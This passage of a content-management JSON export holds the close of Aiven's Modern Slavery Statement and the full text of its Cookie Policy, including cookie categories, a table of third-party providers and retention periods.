standards."}],"markDefs":[],"style":"normal"},{"_key":"aed534509398","_type":"block","children":[{"_key":"22d6cae99d550","_type":"span","marks":[],"text":"When purchasing company merchandise, Aiven pays particular attention to quality, sustainability and human rights accountability, especially regarding modern slavery risks such as forced or child labor. AIven also prioritizes local sourcing, which helps to keep the supply chain transparent."}],"markDefs":[],"style":"normal"},{"_key":"f3bb6ed551ec","_type":"block","children":[{"_key":"c66d7be6d5870","_type":"span","marks":[],"text":"Our commitment, remedial actions and their effectiveness"}],"markDefs":[],"style":"h2"},{"_key":"9349aa2c0d23","_type":"block","children":[{"_key":"af490f1758370","_type":"span","marks":[],"text":"Aiven condemns all forms of slavery and human trafficking. The company is committed to ensuring that there is no modern slavery or human trafficking in any parts of its business nor our supply chains."}],"markDefs":[],"style":"normal"},{"_key":"4ffa1a96df0b","_type":"block","children":[{"_key":"9b47cd6524c60","_type":"span","marks":[],"text":"During the current and following fiscal year, Aiven’s commitment is to improve awareness, policies and procedures to minimize the risk of violations through the following steps:"}],"markDefs":[],"style":"normal"},{"_key":"3d94d8ffadc5","_type":"block","children":[{"_key":"4bad243f7a4f0","_type":"span","marks":[],"text":"Aiven will establish a Supplier Code of Conduct to outline our expectations for suppliers who provide goods or services to Aiven. The company expects its suppliers to share our values and uphold the same standards in their operations."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"58f458b3e53d","_type":"block","children":[{"_key":"17828f5a7a970","_type":"span","marks":[],"text":"Aiven will establish guidance on how to evaluate whether a supplier complies with its standard of combating modern slavery. Possible external service providers that could be used in the vetting process shall also be sought out."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a0f187259303","_type":"block","children":[{"_key":"bab00947beeb0","_type":"span","marks":[],"text":"Training on the topic will be made available to relevant employees, particularly those involved in procurement and supply chain management, to help them identify and address issues related to modern slavery."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c7c45c03a9b7","_type":"block","children":[{"_key":"007fbeb5b9cc0","_type":"span","marks":[],"text":"If any concerns or allegations arise relating to human trafficking and/or slavery against any of Aiven’s current suppliers, the company will act immediately. Where evidence of such violations is presented, Aiven will reevaluate our relationship with the relevant supplier and contact the competent authorities where applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b5c8120716ed","_type":"block","children":[{"_key":"f3c0f59259490","_type":"span","marks":[],"text":"This statement will be reviewed and updated annually. Aiven is dedicated to continuously improving its processes to prevent modern slavery and human trafficking. Aiven will continue to review and update its policies and procedures to ensure that they remain effective and aligned with best practices in ethical business operations."}],"markDefs":[],"style":"normal"},{"_key":"00897aa19a3b","_type":"block","children":[{"_key":"9c7e520af40a0","_type":"span","marks":[],"text":"This statement is signed by an authorized representative of Aiven Oy on 6 November 2024."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-11-06T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is committed to ethical business and eliminating modern slavery. Learn about our Modern Slavery policies, due diligence processes, and initiatives.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-17bba7a06038807dcb612096903c0dd4c750da16-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Modern Slavery Statement"},"slug":{"_type":"slug","current":"/aiven-modern-slavery-statement"},"title":"Aiven Modern Slavery Statement"}
{"__i18n_lang":"en","_createdAt":"2022-06-06T02:27:48Z","_id":"16319f9c-a9fd-40b6-a142-55abea8fb589","_rev":"w5Y1buu43ZclY4xZaVZBFQ","_type":"term","_updatedAt":"2025-01-14T12:29:27Z","content":[{"_key":"5733ca6d6025","_type":"block","children":[{"_key":"dfc85b03ca9c0","_type":"span","marks":[],"text":"This Cookie Policy applies to use of cookies at aiven.io provided by Aiven Ltd, Business ID: 2795743-5, (hereinafter referred to as \""},{"_key":"dfc85b03ca9c3","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"dfc85b03ca9c4","_type":"span","marks":[],"text":"\", \""},{"_key":"dfc85b03ca9c5","_type":"span","marks":["strong"],"text":"we"},{"_key":"dfc85b03ca9c6","_type":"span","marks":[],"text":"\" or \""},{"_key":"dfc85b03ca9c7","_type":"span","marks":["strong"],"text":"us"},{"_key":"dfc85b03ca9c8","_type":"span","marks":[],"text":"\"). You may access and change your cookie preferences at any time by clicking on \"Cookie Settings\" on the footer of our website."}],"markDefs":[],"style":"normal"},{"_key":"9c78e2687bca","_type":"block","children":[{"_key":"2663333d94620","_type":"span","marks":[],"text":"What are cookies?"}],"markDefs":[],"style":"h2"},{"_key":"fb676f0c919b","_type":"block","children":[{"_key":"16515e44b4100","_type":"span","marks":[],"text":"A cookie is a very small text document, which often includes an anonymous unique identifier. Cookies are created when your browser loads a particular website. The website sends information to the browser which then creates a text file. Every time the user goes back to the same website, the browser retrieves and sends this file to the website's server. We also use other forms of technology (such as web beacons and, software development kits in apps (usually referred to as SDKs)) which serve a similar purpose to cookies and which allow us to monitor and improve our service. When we talk about cookies in this Cookie Policy, this term includes these similar technologies. To the extent personal data is processed via these cookies, processing of personal data is carried out in accordance with our "},{"_key":"649ad0627785","_type":"span","marks":["2ff8f5e522d6"],"text":"Privacy Policy"},{"_key":"d757df0df125","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"2ff8f5e522d6","_type":"internalLink","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"}}],"style":"normal"},{"_key":"328df2908ae2","_type":"block","children":[{"_key":"051b02a5afe70","_type":"span","marks":[],"text":"What cookies do we use and what information do they collect?"}],"markDefs":[],"style":"h2"},{"_key":"389f4566d824","_type":"block","children":[{"_key":"5129e80128b60","_type":"span","marks":["strong"],"text":"Necessary cookies: "},{"_key":"5129e80128b61","_type":"span","marks":[],"text":"These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"603241515f9b","_type":"block","children":[{"_key":"c63ff0678a9d0","_type":"span","marks":["strong"],"text":"Performance cookies: "},{"_key":"c63ff0678a9d1","_type":"span","marks":[],"text":"These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"070e335b071a","_type":"block","children":[{"_key":"3a4fdb9088c20","_type":"span","marks":["strong"],"text":"Targeting cookies: "},{"_key":"3a4fdb9088c21","_type":"span","marks":[],"text":"These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c6aeac245a56","_type":"block","children":[{"_key":"ad1e9d9a6efa0","_type":"span","marks":["strong"],"text":"Social media cookies: "},{"_key":"ad1e9d9a6efa1","_type":"span","marks":[],"text":"These cookies are set by a range of social media services that we have added to the site to enable you to share our content with your friends and networks. They are capable of tracking your browser across other sites and building up a profile of your interests. This may impact the content and messages you see on other websites you visit. If you do not allow these cookies you may not be able to use or see these sharing tools."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b7206302b68a","_type":"block","children":[{"_key":"b011d6bbc8450","_type":"span","marks":["strong"],"text":"Functional cookies: "},{"_key":"b011d6bbc8451","_type":"span","marks":[],"text":"These cookies enable the website to provide enhanced functionality and personalization. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db5d01110ec2","_type":"block","children":[{"_key":"dc95bf330ae80","_type":"span","marks":["strong"],"text":"UX cookies: "},{"_key":"dc95bf330ae81","_type":"span","marks":[],"text":"These cookies help us inform our choices on user experience for the marketing website and Aiven Console."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0b465f9f9ce","_type":"block","children":[{"_key":"728f9dbd50a20","_type":"span","marks":[],"text":"What third parties do we use?"}],"markDefs":[],"style":"h2"},{"_key":"323c092c1d80","_type":"block","children":[{"_key":"83e957f710d80","_type":"span","marks":[],"text":"Your use of our website may result in some cookies being stored that are not controlled by us. This may occur when the part of the website you are visiting makes use of a third party analytics or marketing automation or includes content displayed from a third party website, for example, Facebook. You should review the privacy and cookie policies of these third party services to find out how these third parties use cookies and whether your cookie data will be transferred to a third country."}],"markDefs":[],"style":"normal"},{"_key":"0178ca922f82","_type":"table","rows":[{"_key":"b24a0f4e-ab3b-4079-a58a-816e18844cd8","_type":"tableRow","cells":["Cookie provider","Cookie purpose","More information"]},{"_key":"80fcb31e-9023-4766-a7bc-f3c066524546","_type":"tableRow","cells":["Facebook","Collect information for relevant advertisements","[Read more](https://www.facebook.com/about/ads/)"]},{"_key":"2759c158-1efa-4d60-ab38-542a3fb0b80c","_type":"tableRow","cells":["Google Ads","Collect information for relevant advertisements","[Read more](https://policies.google.com/technologies/ads?hl=en-US)"]},{"_key":"3fb94e68-ca23-4935-8889-b34b3cb69acb","_type":"tableRow","cells":["Google Analytics","Collect information about website use","[Read more](https://policies.google.com/privacy?hl=en)"]},{"_key":"e180dffd-cb13-422b-97f7-b0ba646665ce","_type":"tableRow","cells":["Hotjar","Collect information about website use","[Read more](https://www.hotjar.com/legal/policies/privacy/)"]},{"_key":"1faa9282-2d4c-43fe-b7af-56590bb6b323","_type":"tableRow","cells":["LinkedIn","Collect information for relevant advertisements","[Read more](https://www.linkedin.com/help/lms/answer/65521/the-linkedin-insight-tag-faqs)"]},{"_key":"6bea77de-7040-48a4-acc1-4325eb776741","_type":"tableRow","cells":["Microsoft Advertising","Collect information for relevant advertisements","[Read more](https://about.ads.microsoft.com/en-us/resources/policies/microsoft-advertising-privacy-policy)"]},{"_key":"f5cf4b23-5502-4bcf-bdf4-43e0efaacab4","_type":"tableRow","cells":["Pardot","Collect information about website use for personalization","[Read more](https://www.salesforce.com/company/privacy/)"]},{"_key":"91f2ee21-7b08-43a1-89d3-36019677b65c","_type":"tableRow","cells":["Reddit","Collect information for relevant advertisements","[Read more](https://www.reddithelp.com/hc/en-us/categories/360003246511-Privacy-Security)"]},{"_key":"d7e0237c-9cd6-43f5-9bf2-6c6de36c7300","_type":"tableRow","cells":["Twitter","Collect information for relevant advertisements","[Read more](https://twitter.com/en/privacy)"]},{"_key":"ec399598-fba9-46c4-a86a-a8a59e4fe8fc","_type":"tableRow","cells":["6Sense","Collect information for relevant advertisements","[Read more](https://6sense.com/privacy-policy/)"]},{"_key":"891c9c8b-7593-404c-9967-14564760555e","_type":"tableRow","cells":["Calendly","Collect information for demo meetings","[Read more](https://calendly.com/privacy)"]},{"_key":"d46de688-4d92-4ced-a501-882bac235910","_type":"tableRow","cells":["Qualified","Collect information about website use","[Read more](https://www.qualified.com/legal/privacy)"]},{"_key":"6257caab-1ef2-48bf-a0ef-2635287c3966","_type":"tableRow","cells":["Quora","Collect information for relevant advertisements ","[Read more](https://www.quora.com/about/privacy)"]},{"_key":"2422f429-6dd9-4dd5-bd2d-6d11629c3066","_type":"tableRow","cells":["Mixpanel","Collect information about website use","[Read more](https://mixpanel.com/legal/privacy-policy)"]}]},{"_key":"01a1d31f523b","_type":"block","children":[{"_key":"a1a07d249be8","_type":"span","marks":[],"text":"How long do we retain cookies and information they collect?"}],"markDefs":[],"style":"h2"},{"_key":"ddf87619cbe8","_type":"block","children":[{"_key":"4a150cfe10720","_type":"span","marks":[],"text":"We use both session and persistent cookies:"}],"markDefs":[],"style":"normal"},{"_key":"21b2e545ee00","_type":"block","children":[{"_key":"e3815c0395de0","_type":"span","marks":["strong"],"text":"Session cookies"},{"_key":"e3815c0395de1","_type":"span","marks":[],"text":" are stored in memory for the duration of the session and removed once the user closes the browser."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c4114e564d53","_type":"block","children":[{"_key":"27d88af6810d0","_type":"span","marks":["strong"],"text":"Persistent cookies "},{"_key":"27d88af6810d1","_type":"span","marks":[],"text":"are stored on a user’s device to help remember information, settings, preferences, or sign-on credentials that a user has previously saved. Persistent cookies are stored until they expire or the user deletes the cookies. We keep information collected from cookies for a maximum of 24 months."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"74e57446a3a6","_type":"block","children":[{"_key":"1c336b3b6cd30","_type":"span","marks":[],"text":"How can you change your cookie settings?"}],"markDefs":[],"style":"h2"},{"_key":"78b095729138","_type":"block","children":[{"_key":"95b4a0973c520","_type":"span","marks":[],"text":"You can change your cookie preferences at any time by clicking on ‘Cookie Settings‘ on the footer of our website. You can then ‘activate’ or ‘inactivate’ cookies used for different purposes, and then clicking ‘Save settings’. You may need to refresh your page for your settings to take effect."}],"markDefs":[],"style":"normal"},{"_key":"0ee3494027c3","_type":"block","children":[{"_key":"20c5cf20752b0","_type":"span","marks":[],"text":"Alternatively, most web browsers allow some control of most cookies through the browser settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-05-06T02:29:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven was an early adopter of GDPR stipulations and also why we offer a simple cookie policy.\n","metaImage":{"_type":"mainImage","alt":"cookie policy meta preview","asset":{"_ref":"image-c14c3b409377e036ac164e09dbfefba1d9bfed99-476x250-jpg","_type":"reference"}},"metaTitle":"Cookie Policy | Aiven"},"slug":{"_type":"slug","current":"/cookies"},"title":"Aiven Cookie Policy"}
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